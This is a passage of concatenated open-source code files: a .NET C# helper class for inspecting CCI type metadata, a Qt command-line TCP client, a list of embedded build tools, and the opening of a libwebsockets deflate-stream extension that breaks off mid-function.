// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Diagnostics.Contracts; using System.IO; using System.Linq; using System.Reflection.Metadata; using System.Reflection.Metadata.Ecma335; using System.Text.RegularExpressions; using Microsoft.Cci.Filters; using Microsoft.Cci.Writers.CSharp; using Microsoft.Cci.Writers.Syntax; using SRMetadataReader = System.Reflection.Metadata.MetadataReader; namespace Microsoft.Cci.Extensions.CSharp { public static class CSharpCciExtensions { private const string ByReferenceFullName = "System.ByReference<T>"; public const string NullableAttributeFullName = "System.Runtime.CompilerServices.NullableAttribute"; public const string NullableContextAttributeFullName = "System.Runtime.CompilerServices.NullableContextAttribute"; public static ReadOnlySpan<byte> RosNullableAttributeName => new byte[] { // NullableAttribute (byte)'N', (byte)'u', (byte)'l', (byte)'l', (byte)'a', (byte)'b', (byte)'l', (byte)'e', (byte)'A', (byte)'t', (byte)'t', (byte)'r', (byte)'i', (byte)'b', (byte)'u', (byte)'t', (byte)'e', }; public static ReadOnlySpan<byte> RosSystemRuntimeCompilerServicesNamespace => new byte[] { // System.Runtime.CompilerServices (byte)'S', (byte)'y', (byte)'s', (byte)'t', (byte)'e', (byte)'m', (byte)'.', (byte)'R', (byte)'u', (byte)'n', (byte)'t', (byte)'i', (byte)'m', (byte)'e', (byte)'.', (byte)'C', (byte)'o', (byte)'m', (byte)'p', (byte)'i', (byte)'l', (byte)'e', (byte)'r', (byte)'S', (byte)'e', (byte)'r', (byte)'v', (byte)'i', (byte)'c', (byte)'e', (byte)'s' }; public static string GetCSharpDeclaration(this IDefinition definition, bool includeAttributes = false) { using (var stringWriter = new StringWriter()) { using (var syntaxWriter = new TextSyntaxWriter(stringWriter)) { var writer = new CSDeclarationWriter(syntaxWriter, new AttributesFilter(includeAttributes), false, true); var nsp = definition as INamespaceDefinition; var typeDefinition = definition as ITypeDefinition; var member = definition as ITypeDefinitionMember; if (nsp != null) writer.WriteNamespaceDeclaration(nsp); else if (typeDefinition != null) writer.WriteTypeDeclaration(typeDefinition); else if (member != null) { var method = member as IMethodDefinition; if (method != null && method.IsPropertyOrEventAccessor()) WriteAccessor(syntaxWriter, method); else writer.WriteMemberDeclaration(member); } } return stringWriter.ToString(); } } private static void WriteAccessor(ISyntaxWriter syntaxWriter, IMethodDefinition method) { var accessorKeyword = GetAccessorKeyword(method); syntaxWriter.WriteKeyword(accessorKeyword); syntaxWriter.WriteSymbol(";"); } private static string GetAccessorKeyword(IMethodDefinition method) { switch (method.GetAccessorType()) { case AccessorType.EventAdder: return "add"; case AccessorType.EventRemover: return "remove"; case AccessorType.PropertySetter: return "set"; case AccessorType.PropertyGetter: return "get"; default: throw new ArgumentOutOfRangeException(); } } public static bool IsDefaultCSharpBaseType(this ITypeReference baseType, ITypeDefinition type) { Contract.Requires(baseType != null); Contract.Requires(type != null); if (baseType.AreEquivalent("System.Object")) return true; if (type.IsValueType && baseType.AreEquivalent("System.ValueType")) return true; if (type.IsEnum && baseType.AreEquivalent("System.Enum")) return true; return false; } public static IMethodDefinition GetInvokeMethod(this ITypeDefinition type) { if (!type.IsDelegate) return null; foreach (var method in type.Methods) if (method.Name.Value == "Invoke") return method; throw new InvalidOperationException(String.Format("All delegates should have an Invoke method, but {0} doesn't have one.", type.FullName())); } public static ITypeReference GetEnumType(this ITypeDefinition type) { if (!type.IsEnum) return null; foreach (var field in type.Fields) if (field.Name.Value == "value__") return field.Type; throw new InvalidOperationException("All enums should have a value__ field!"); } public static bool IsOrContainsReferenceType(this ITypeReference type) { Queue<ITypeReference> typesToCheck = new Queue<ITypeReference>(); HashSet<ITypeReference> visited = new HashSet<ITypeReference>(); typesToCheck.Enqueue(type); while (typesToCheck.Count != 0) { var typeToCheck = typesToCheck.Dequeue(); visited.Add(typeToCheck); var resolvedType = typeToCheck.ResolvedType; // If it is dummy we cannot really check so assume it does because that is will be the most conservative if (resolvedType is Dummy) return true; if (resolvedType.IsReferenceType) return true; // ByReference<T> is a special type understood by runtime to hold a ref T. if (resolvedType.AreGenericTypeEquivalent(ByReferenceFullName)) return true; foreach (var field in resolvedType.Fields.Where(f => !f.IsStatic)) { if (!visited.Contains(field.Type)) { typesToCheck.Enqueue(field.Type); } } } return false; } public static bool IsOrContainsNonEmptyStruct(this ITypeReference type) { Queue<ITypeReference> typesToCheck = new Queue<ITypeReference>(); HashSet<ITypeReference> visited = new HashSet<ITypeReference>(); typesToCheck.Enqueue(type); int node = 0; while (typesToCheck.Count != 0) { var typeToCheck = typesToCheck.Dequeue(); visited.Add(typeToCheck); var resolvedType = typeToCheck.ResolvedType; if (typeToCheck.TypeCode != PrimitiveTypeCode.NotPrimitive && typeToCheck.TypeCode != PrimitiveTypeCode.Invalid) return true; if (resolvedType is Dummy || resolvedType.IsReferenceType || resolvedType.AreGenericTypeEquivalent(ByReferenceFullName)) { if (node == 0) { return false; } // If we're not in the root of the tree, it means we found a non-empty struct. return true; } foreach (var field in resolvedType.Fields.Where(f => !f.IsStatic)) { if (!visited.Contains(field.Type)) { typesToCheck.Enqueue(field.Type); } } node++; } // All the fields we found lead to empty structs. return false; } public static bool IsConversionOperator(this IMethodDefinition method) { return (method.IsSpecialName && (method.Name.Value == "op_Explicit" || method.Name.Value == "op_Implicit")); } public static bool IsExplicitInterfaceMember(this ITypeDefinitionMember member) { var method = member as IMethodDefinition; if (method != null) { return method.IsExplicitInterfaceMethod(); } var property = member as IPropertyDefinition; if (property != null) { return property.IsExplicitInterfaceProperty(); } return false; } public static bool IsExplicitInterfaceMethod(this IMethodDefinition method) { return MemberHelper.GetExplicitlyOverriddenMethods(method).Any(); } public static bool IsExplicitInterfaceProperty(this IPropertyDefinition property) { if (property.Getter != null && property.Getter.ResolvedMethod != null) { return property.Getter.ResolvedMethod.IsExplicitInterfaceMethod(); } if (property.Setter != null && property.Setter.ResolvedMethod != null) { return property.Setter.ResolvedMethod.IsExplicitInterfaceMethod(); } return false; } public static bool IsInterfaceImplementation(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.IsInterfaceImplementation(); IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Accessors.Any(m => m.ResolvedMethod.IsInterfaceImplementation()); IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Accessors.Any(m => m.ResolvedMethod.IsInterfaceImplementation()); return false; } public static bool IsInterfaceImplementation(this IMethodDefinition method) { return MemberHelper.GetImplicitlyImplementedInterfaceMethods(method).Any() || MemberHelper.GetExplicitlyOverriddenMethods(method).Any(); } public static bool IsAbstract(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.IsAbstract; IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Accessors.Any(m => m.ResolvedMethod.IsAbstract); IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Accessors.Any(m => m.ResolvedMethod.IsAbstract); return false; } public static bool IsVirtual(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.IsVirtual; IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Accessors.Any(m => m.ResolvedMethod.IsVirtual); IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Accessors.Any(m => m.ResolvedMethod.IsVirtual); return false; } public static bool IsNewSlot(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.IsNewSlot; IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Accessors.Any(m => m.ResolvedMethod.IsNewSlot); IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Accessors.Any(m => m.ResolvedMethod.IsNewSlot); return false; } public static bool IsSealed(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.IsSealed; IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Accessors.Any(m => m.ResolvedMethod.IsSealed); IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Accessors.Any(m => m.ResolvedMethod.IsSealed); return false; } public static bool IsOverride(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.IsOverride(); IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Accessors.Any(m => m.ResolvedMethod.IsOverride()); IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Accessors.Any(m => m.ResolvedMethod.IsOverride()); return false; } public static bool IsOverride(this IMethodDefinition method) { return method.IsVirtual && !method.IsNewSlot; } public static bool IsUnsafeType(this ITypeReference type) { return type.TypeCode == PrimitiveTypeCode.Pointer; } public static bool IsMethodUnsafe(this IMethodDefinition method) { foreach (var p in method.Parameters) { if (p.Type.IsUnsafeType()) return true; } if (method.Type.IsUnsafeType()) return true; return false; } public static bool IsDestructor(this IMethodDefinition methodDefinition) { if (methodDefinition.ContainingTypeDefinition.IsValueType) return false; //only classes can have destructors if (methodDefinition.ParameterCount == 0 && methodDefinition.IsVirtual && methodDefinition.Visibility == TypeMemberVisibility.Family && methodDefinition.Name.Value == "Finalize") { // Should we make sure that this Finalize method overrides the protected System.Object.Finalize? return true; } return false; } public static bool IsDispose(this IMethodDefinition methodDefinition) { if ((methodDefinition.Name.Value != "Dispose" && methodDefinition.Name.Value != "System.IDisposable.Dispose") || methodDefinition.ParameterCount > 1 || !TypeHelper.TypesAreEquivalent(methodDefinition.Type, methodDefinition.ContainingTypeDefinition.PlatformType.SystemVoid)) { return false; } if (methodDefinition.ParameterCount == 1 && !TypeHelper.TypesAreEquivalent(methodDefinition.Parameters.First().Type, methodDefinition.ContainingTypeDefinition.PlatformType.SystemBoolean)) { // Dispose(Boolean) its only parameter should be bool return false; } return true; } public static bool IsAssembly(this ITypeDefinition type) { return type.GetVisibility() == TypeMemberVisibility.FamilyAndAssembly || type.GetVisibility() == TypeMemberVisibility.Assembly; } public static bool IsAssembly(this ITypeDefinitionMember member) { return member.Visibility == TypeMemberVisibility.FamilyAndAssembly || member.Visibility == TypeMemberVisibility.Assembly; } public static bool InSameUnit(ITypeDefinition type1, ITypeDefinition type2) { IUnit unit1 = TypeHelper.GetDefiningUnit(type1); IUnit unit2 = TypeHelper.GetDefiningUnit(type2); return UnitHelper.UnitsAreEquivalent(unit1, unit2); } public static bool InSameUnit(ITypeDefinitionMember member1, ITypeDefinitionMember member2) { return InSameUnit(member1.ContainingTypeDefinition, member2.ContainingTypeDefinition); } public static ITypeReference GetReturnType(this ITypeDefinitionMember member) { IMethodDefinition method = member as IMethodDefinition; if (method != null) return method.Type; IPropertyDefinition property = member as IPropertyDefinition; if (property != null) return property.Type; IEventDefinition evnt = member as IEventDefinition; if (evnt != null) return evnt.Type; IFieldDefinition field = member as IFieldDefinition; if (field != null) return field.Type; return null; } public static string GetReturnTypeName(this ITypeDefinitionMember member) { var returnType = member.GetReturnType(); if (TypeHelper.TypesAreEquivalent(returnType, member.ContainingTypeDefinition.PlatformType.SystemVoid)) { return "void"; } return returnType.FullName(); } public static IFieldDefinition GetHiddenBaseField(this IFieldDefinition field, ICciFilter filter = null) { foreach (ITypeReference baseClassRef in field.ContainingTypeDefinition.GetAllBaseTypes()) { ITypeDefinition baseClass = baseClassRef.ResolvedType; foreach (IFieldDefinition baseField in baseClass.GetMembersNamed(field.Name, false).OfType<IFieldDefinition>()) { if (baseField.Visibility == TypeMemberVisibility.Private) continue; if (IsAssembly(baseField) && !InSameUnit(baseField, field)) continue; if (filter != null && !filter.Include(baseField)) continue; return baseField; } } return Dummy.Field; } public static IEventDefinition GetHiddenBaseEvent(this IEventDefinition evnt, ICciFilter filter = null) { IMethodDefinition eventRep = evnt.Adder.ResolvedMethod; if (eventRep.IsVirtual && !eventRep.IsNewSlot) return Dummy.Event; // an override foreach (ITypeReference baseClassRef in evnt.ContainingTypeDefinition.GetAllBaseTypes()) { ITypeDefinition baseClass = baseClassRef.ResolvedType; foreach (IEventDefinition baseEvent in baseClass.GetMembersNamed(evnt.Name, false).OfType<IEventDefinition>()) { if (baseEvent.Visibility == TypeMemberVisibility.Private) continue; if (IsAssembly(baseEvent) && !InSameUnit(baseEvent, evnt)) continue; if (filter != null && !filter.Include(baseEvent)) continue; return baseEvent; } } return Dummy.Event; } public static IPropertyDefinition GetHiddenBaseProperty(this IPropertyDefinition property, ICciFilter filter = null) { IMethodDefinition propertyRep = property.Accessors.First().ResolvedMethod; if (propertyRep.IsVirtual && !propertyRep.IsNewSlot) return Dummy.Property; // an override ITypeDefinition type = property.ContainingTypeDefinition; foreach (ITypeReference baseClassRef in type.GetAllBaseTypes()) { ITypeDefinition baseClass = baseClassRef.ResolvedType; foreach (IPropertyDefinition baseProperty in baseClass.GetMembersNamed(property.Name, false).OfType<IPropertyDefinition>()) { if (baseProperty.Visibility == TypeMemberVisibility.Private) continue; if (IsAssembly(baseProperty) && !InSameUnit(baseProperty, property)) continue; if (filter != null && !filter.Include(baseProperty)) continue; if (SignaturesParametersAreEqual(property, baseProperty)) return baseProperty; } } return Dummy.Property; } public static IMethodDefinition GetHiddenBaseMethod(this IMethodDefinition method, ICciFilter filter = null) { if (method.IsConstructor) return Dummy.Method; if (method.IsVirtual && !method.IsNewSlot) return Dummy.Method; // an override ITypeDefinition type = method.ContainingTypeDefinition; foreach (ITypeReference baseClassRef in type.GetAllBaseTypes()) { ITypeDefinition baseClass = baseClassRef.ResolvedType; foreach (IMethodDefinition baseMethod in baseClass.GetMembersNamed(method.Name, false).OfType<IMethodDefinition>()) { if (baseMethod.Visibility == TypeMemberVisibility.Private) continue; if (IsAssembly(baseMethod) && !InSameUnit(baseMethod, method)) continue; if (filter != null && !filter.Include(baseMethod.UnWrapMember())) continue; // NOTE: Do not check method.IsHiddenBySignature here. C# is *always* hide-by-signature regardless of the metadata flag. // Do not check return type here, C# hides based on parameter types alone. if (SignaturesParametersAreEqual(method, baseMethod)) { if (!method.IsGeneric && !baseMethod.IsGeneric) return baseMethod; if (method.GenericParameterCount == baseMethod.GenericParameterCount) return baseMethod; } } } return Dummy.Method; } public static ITypeDefinition GetHiddenBaseType(this ITypeDefinition type, ICciFilter filter = null) { if (!(type is INestedTypeDefinition nestedType)) { return Dummy.Type; } ITypeDefinition containingType = nestedType.ContainingTypeDefinition; foreach (ITypeReference baseClassRef in containingType.GetAllBaseTypes()) { ITypeDefinition baseClass = baseClassRef.ResolvedType; foreach (ITypeDefinition baseType in baseClass.GetMembersNamed(nestedType.Name, ignoreCase: false).OfType<ITypeDefinition>()) { if (baseType.GetVisibility() == TypeMemberVisibility.Private) { continue; } if (IsAssembly(baseType) && !InSameUnit(baseType, nestedType)) continue; if (filter != null && !filter.Include(baseType)) continue; return baseType; } } return Dummy.Type; } public static bool SignaturesParametersAreEqual(this ISignature sig1, ISignature sig2) { return IteratorHelper.EnumerablesAreEqual<IParameterTypeInformation>(sig1.Parameters, sig2.Parameters, new ParameterInformationComparer()); } private static Regex s_isKeywordRegex; public static bool IsKeyword(string s) { if (s_isKeywordRegex == null) s_isKeywordRegex = new Regex("^(abstract|as|break|case|catch|checked|class|const|continue|default|delegate|do|else|enum|event|explicit|extern|finally|foreach|for|get|goto|if|implicit|interface|internal|in|is|lock|namespace|new|operator|out|override|params|partial|private|protected|public|readonly|ref|return|sealed|set|sizeof|stackalloc|static|struct|switch|this|throw|try|typeof|unchecked|unsafe|using|virtual|volatile|while|yield|bool|byte|char|decimal|double|fixed|float|int|long|object|sbyte|short|string|uint|ulong|ushort|void)$", RegexOptions.Compiled); return s_isKeywordRegex.IsMatch(s); } public static IMethodImplementation GetMethodImplementation(this IMethodDefinition method) { return ((ITypeDefinition)method.ContainingType).ExplicitImplementationOverrides.Where(mi => mi.ImplementingMethod.Equals(method)).FirstOrDefault(); } public static object GetExplicitInterfaceMethodNullableAttributeArgument(this IMethodImplementation methodImplementation, SRMetadataPEReaderCache metadataReaderCache) { if (methodImplementation != null) { uint typeToken = ((IMetadataObjectWithToken)methodImplementation.ContainingType).TokenValue; string location = methodImplementation.ContainingType.Locations.FirstOrDefault()?.Document?.Location; if (location != null) return methodImplementation.ImplementedMethod.ContainingType.GetInterfaceImplementationAttributeConstructorArgument(typeToken, location, metadataReaderCache, NullableConstructorArgumentParser); } return null; } public static string GetNameWithoutExplicitType(this ITypeDefinitionMember member) { string name = member.Name.Value; int index = name.LastIndexOf("."); if (index < 0) return name; return name.Substring(index + 1); } public static bool IsExtensionMethod(this IMethodDefinition method) { if (!method.IsStatic) return false; return method.Attributes.HasAttributeOfType("System.Runtime.CompilerServices.ExtensionAttribute"); } public static bool IsEffectivelySealed(this ITypeDefinition type) { if (type.IsSealed) return true; if (type.IsInterface) return false; // Types with only private constructors are effectively sealed if (!type.Methods .Any(m => m.IsConstructor && !m.IsStaticConstructor && m.IsVisibleOutsideAssembly())) return true; return false; } public static bool IsValueTuple(this IGenericTypeInstanceReference genericType) { return genericType.GenericType.FullName().StartsWith("System.ValueTuple"); } public static bool IsNullableValueType(this IGenericTypeInstanceReference genericType) { return genericType.GenericType.FullName().StartsWith("System.Nullable"); } public static bool IsException(this ITypeDefinition type) { foreach (var baseTypeRef in type.GetBaseTypes()) { if (baseTypeRef.AreEquivalent("System.Exception")) return true; } return false; } public static bool IsAttribute(this ITypeDefinition type) { foreach (var baseTypeRef in type.GetBaseTypes()) { if (baseTypeRef.AreEquivalent("System.Attribute")) return true; } return false; } public static object GetAttributeArgumentValue<TType>(this ICustomAttribute attribute, object defaultValue = null) { object result = defaultValue; if (attribute != null) { object argument = attribute.Arguments.FirstOrDefault(); if (argument is IMetadataCreateArray argumentArray) { TType[] array = new TType[argumentArray.Sizes.Single()]; int i = 0; foreach (IMetadataExpression value in argumentArray.Initializers) { array[i++] = (TType)(value as IMetadataConstant).Value; } result = array; } else if (argument is IMetadataConstant value) { result = (TType)value.Value; } } return result; } public static T GetCustomAttributeArgumentValue<T>(this IEnumerable<ICustomAttribute> attributes, string attributeType) { if (attributes.TryGetAttributeOfType(attributeType, out ICustomAttribute attribute)) { return (T)attribute.GetAttributeArgumentValue<T>(); } return default; } public static bool HasAttributeOfType(this IEnumerable<ICustomAttribute> attributes, string attributeName) { return GetAttributeOfType(attributes, attributeName) != null; } public static bool TryGetAttributeOfType(this IEnumerable<ICustomAttribute> attributes, string attributeName, out ICustomAttribute customAttribute) { customAttribute = attributes?.GetAttributeOfType(attributeName); return customAttribute != null; } private static ICustomAttribute GetAttributeOfType(this IEnumerable<ICustomAttribute> attributes, string attributeName) { return attributes.FirstOrDefault(a => a.Type.AreEquivalent(attributeName)); } public static bool HasIsByRefLikeAttribute(this IEnumerable<ICustomAttribute> attributes) { return attributes.HasAttributeOfType("System.Runtime.CompilerServices.IsByRefLikeAttribute"); } public static bool HasIsReadOnlyAttribute(this IEnumerable<ICustomAttribute> attributes) { return attributes.HasAttributeOfType("System.Runtime.CompilerServices.IsReadOnlyAttribute"); } public static string[] GetValueTupleNames(this IEnumerable<ICustomAttribute> attributes) { string[] names = null; var attribute = attributes?.GetAttributeOfType("System.Runtime.CompilerServices.TupleElementNamesAttribute"); if (attribute != null && attribute.Arguments.Single() is IMetadataCreateArray createArray) { names = new string[createArray.Sizes.Single()]; var i = 0; foreach (var argument in createArray.Initializers) { if (argument is IMetadataConstant constant) { names[i] = (string)constant.Value; } i++; } } return names; } private static IEnumerable<ITypeReference> GetBaseTypes(this ITypeReference typeRef) { ITypeDefinition type = typeRef.GetDefinitionOrNull(); if (type == null) yield break; foreach (ITypeReference baseTypeRef in type.BaseClasses) { yield return baseTypeRef; foreach (var nestedBaseTypeRef in GetBaseTypes(baseTypeRef)) yield return nestedBaseTypeRef; } } // In order to get interface implementation attributes we need to use System.Reflection.Metadata because that is a feature not exposed by CCI. // Basically an interface implementation can't have attributes applied directly in IL so they're added into the custom attribute table in metadata, // CCI doesn't expose APIs to read that metadata and we don't have a way to map those attributes, since we have a type reference rather than the reference // to the interfaceimpl. public static object GetInterfaceImplementationAttributeConstructorArgument(this ITypeReference interfaceImplementation, uint typeDefinitionToken, string assemblyPath, SRMetadataPEReaderCache metadataReaderCache, Func<SRMetadataReader, CustomAttribute, (bool, object)> argumentResolver) { if (metadataReaderCache != null) { SRMetadataReader metadataReader = metadataReaderCache.GetMetadataReader(assemblyPath); int rowId = GetRowId(typeDefinitionToken); TypeDefinition typeDefinition = metadataReader.GetTypeDefinition(MetadataTokens.TypeDefinitionHandle(rowId)); uint interfaceImplementationToken = ((IMetadataObjectWithToken)interfaceImplementation).TokenValue; IEnumerable<InterfaceImplementation> foundInterfaces = typeDefinition.GetInterfaceImplementations().Select(metadataReader.GetInterfaceImplementation).Where(impl => metadataReader.GetToken(impl.Interface) == (int)interfaceImplementationToken); if (foundInterfaces.Any()) { InterfaceImplementation iImpl = foundInterfaces.First(); return GetCustomAttributeArgument(metadataReader, iImpl.GetCustomAttributes(), argumentResolver); } } return null; } // In order to get generic constraint attributes we need to use System.Reflection.Metadata because that is a feature not exposed by CCI. // Basically a generic constraint can't have attributes applied directly in IL so they're added into the custom attribute table in metadata via // the generic constraint table, CCI doesn't expose APIs to read that metadata and we don't have a way to map those attributes directly without using // System.Reflection.Metadata public static object GetGenericParameterConstraintConstructorArgument(this IGenericParameter parameter, int constraintIndex, string assemblyPath, SRMetadataPEReaderCache metadataReaderCache, Func<SRMetadataReader, CustomAttribute, (bool, object)> argumentResolver) { if (metadataReaderCache != null) { SRMetadataReader metadataReader = metadataReaderCache.GetMetadataReader(assemblyPath); uint token = ((IMetadataObjectWithToken)parameter).TokenValue; int rowId = GetRowId(token); GenericParameter genericParameter = metadataReader.GetGenericParameter(MetadataTokens.GenericParameterHandle(rowId)); GenericParameterConstraint constraint = metadataReader.GetGenericParameterConstraint(genericParameter.GetConstraints()[constraintIndex]); return GetCustomAttributeArgument(metadataReader, constraint.GetCustomAttributes(), argumentResolver); } return null; } private static object GetCustomAttributeArgument(SRMetadataReader metadataReader, CustomAttributeHandleCollection customAttributeHandles, Func<SRMetadataReader, CustomAttribute, (bool, object)> argumentResolver) { foreach (CustomAttributeHandle customAttributeHandle in customAttributeHandles) { CustomAttribute customAttribute = metadataReader.GetCustomAttribute(customAttributeHandle); (bool success, object value) result = argumentResolver(metadataReader, customAttribute); if (result.success) { return result.value; } } return null; } private static int GetRowId(uint token) { const uint metadataRowIdMask = (1 << 24) - 1; return (int)(token & metadataRowIdMask); } private static unsafe bool Equals(this StringHandle handle, ReadOnlySpan<byte> other, SRMetadataReader reader) { BlobReader blob = reader.GetBlobReader(handle); ReadOnlySpan<byte> actual = new ReadOnlySpan<byte>(blob.CurrentPointer, blob.Length); return actual.SequenceEqual(other); } private static bool TypeMatchesNameAndNamespace(this EntityHandle handle, ReadOnlySpan<byte> @namespace, ReadOnlySpan<byte> name, SRMetadataReader reader) { switch (handle.Kind) { case HandleKind.TypeDefinition: TypeDefinition td = reader.GetTypeDefinition((TypeDefinitionHandle)handle); return !td.Namespace.IsNil && td.Namespace.Equals(@namespace, reader) && td.Name.Equals(name, reader); case HandleKind.TypeReference: TypeReference tr = reader.GetTypeReference((TypeReferenceHandle)handle); return tr.ResolutionScope.Kind != HandleKind.TypeReference && !tr.Namespace.IsNil && tr.Namespace.Equals(@namespace, reader) && tr.Name.Equals(name, reader); default: return false; } } private static bool CustomAttributeTypeMatchesNameAndNamespace(this CustomAttribute attribute, ReadOnlySpan<byte> @namespace, ReadOnlySpan<byte> name, SRMetadataReader reader) { EntityHandle ctorHandle = attribute.Constructor; switch (ctorHandle.Kind) { case HandleKind.MemberReference: return reader.GetMemberReference((MemberReferenceHandle)ctorHandle).Parent.TypeMatchesNameAndNamespace(@namespace, name, reader); case HandleKind.MethodDefinition: EntityHandle handle = reader.GetMethodDefinition((MethodDefinitionHandle)ctorHandle).GetDeclaringType(); return handle.TypeMatchesNameAndNamespace(@namespace, name, reader); default: return false; } } private static readonly CustomAttributeTypeProvider s_CustomAttributeTypeProvider = new CustomAttributeTypeProvider(); // Delegate to parse nullable attribute argument retrieved using System.Reflection.Metadata internal static readonly Func<SRMetadataReader, CustomAttribute, (bool, object)> NullableConstructorArgumentParser = (reader, attribute) => { if (attribute.CustomAttributeTypeMatchesNameAndNamespace(RosSystemRuntimeCompilerServicesNamespace, RosNullableAttributeName, reader)) { CustomAttributeValue<string> value = attribute.DecodeValue(s_CustomAttributeTypeProvider); if (value.FixedArguments.Length > 0) { CustomAttributeTypedArgument<string> argument = value.FixedArguments[0]; if (argument.Type == "uint8[]") { ImmutableArray<CustomAttributeTypedArgument<string>> argumentValue = (ImmutableArray<CustomAttributeTypedArgument<string>>)argument.Value; byte[] array = new byte[argumentValue.Length]; for (int i = 0; i < argumentValue.Length; i++) { array[i] = (byte)argumentValue[i].Value; } return (true, array); } if (argument.Type == "uint8") { return (true, argument.Value); } } } return (false, null); }; public static string GetVisibilityName(this TypeMemberVisibility visibility) { return visibility switch { TypeMemberVisibility.Assembly => "internal", TypeMemberVisibility.Family => "protected", TypeMemberVisibility.FamilyOrAssembly => "protected internal", TypeMemberVisibility.FamilyAndAssembly => "private protected", _ => visibility.ToString().ToLowerInvariant(), }; } public static string GetVisibilityName(this ITypeDefinition type) { return TypeHelper.TypeVisibilityAsTypeMemberVisibility(type).GetVisibilityName(); } public static string GetVisibilityName(this ITypeDefinitionMember member) { Contract.Requires(member != null); return member.Visibility.GetVisibilityName(); } public static string GetMemberViolationMessage(this ITypeDefinitionMember member, string memberMessage, string message1, string message2) { return $"{memberMessage} '{member.GetVisibilityName()} {member.GetReturnTypeName()} {member.FullName()}' {message1} but {message2}."; } } }
{ "pile_set_name": "Github" }
/* Copyright (c) 2011-2014, Mathieu Labbe - IntRoLab - Universite de Sherbrooke All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the Universite de Sherbrooke nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <QtNetwork/QNetworkInterface> #include <QtCore/QCoreApplication> #include "TcpClient.h" void showUsage() { printf("\ntcpObjectsClient [hostname] port\n"); exit(-1); } int main(int argc, char * argv[]) { if(argc < 2 || argc > 3) { showUsage(); } QString ipAddress; quint16 port = 0; if(argc == 2) { port = atoi(argv[1]); } else if(argc == 3) { ipAddress = argv[1]; port = atoi(argv[2]); } if(ipAddress.isEmpty()) { ipAddress = QHostAddress(QHostAddress::LocalHost).toString(); } QCoreApplication app(argc, argv); printf("Connecting to \"%s:%d\"...\n", ipAddress.toStdString().c_str(), port); TcpClient client; client.connectToHost(ipAddress, port); if(client.waitForConnected()) { printf("Connecting to \"%s:%d\"... connected!\n", ipAddress.toStdString().c_str(), port); app.exec(); } else { printf("Connecting to \"%s:%d\"... connection failed!\n", ipAddress.toStdString().c_str(), port); } return 0; }
{ "pile_set_name": "Github" }
Buildroot Open_Embedded Open_Wrt Scratchbox Toolchains Yocto_Project
{ "pile_set_name": "Github" }
#include "private-libwebsockets.h" #include "extension-deflate-stream.h" #include <stdio.h> #include <string.h> #include <assert.h> #define LWS_ZLIB_WINDOW_BITS 15 #define LWS_ZLIB_MEMLEVEL 8 int lws_extension_callback_deflate_stream( struct libwebsocket_context *context, struct libwebsocket_extension *ext, struct libwebsocket *wsi, enum libwebsocket_extension_callback_reasons reason, void *user, void *in, size_t len) { struct lws_ext_deflate_stream_conn *conn = (struct lws_ext_deflate_stream_conn *)user; int n; struct lws_tokens *eff_buf = (struct lws_tokens *)in; switch (reason) { /* * for deflate-stream, both client and server sides act the same */ case LWS_EXT_CALLBACK_CLIENT_CONSTRUCT: case LWS_EXT_CALLBACK_CONSTRUCT: conn->zs_in.zalloc = conn->zs_out.zalloc = Z_NULL; conn->zs_in.zfree = conn->zs_out.zfree = Z_NULL; conn->zs_in.opaque = conn->zs_out.opaque = Z_NULL; n = inflateInit2(&conn->zs_in, -LWS_ZLIB_WINDOW_BITS); if (n != Z_OK) { lwsl_err("deflateInit returned %d\n", n); return 1; } n = deflateInit2(&conn->zs_out, DEFLATE_STREAM_COMPRESSION_LEVEL, Z_DEFLATED, -LWS_ZLIB_WINDOW_BITS, LWS_ZLIB_MEMLEVEL, Z_DEFAULT_STRATEGY); if (n != Z_OK) { lwsl_err("deflateInit returned %d\n", n); return 1; } lwsl_ext("zlibs constructed\n"); conn->remaining_in = 0; break; case LWS_EXT_CALLBACK_DESTROY: (void)inflateEnd(&conn->zs_in); (void)deflateEnd(&conn->zs_out); lwsl_ext("zlibs destructed\n"); break; case 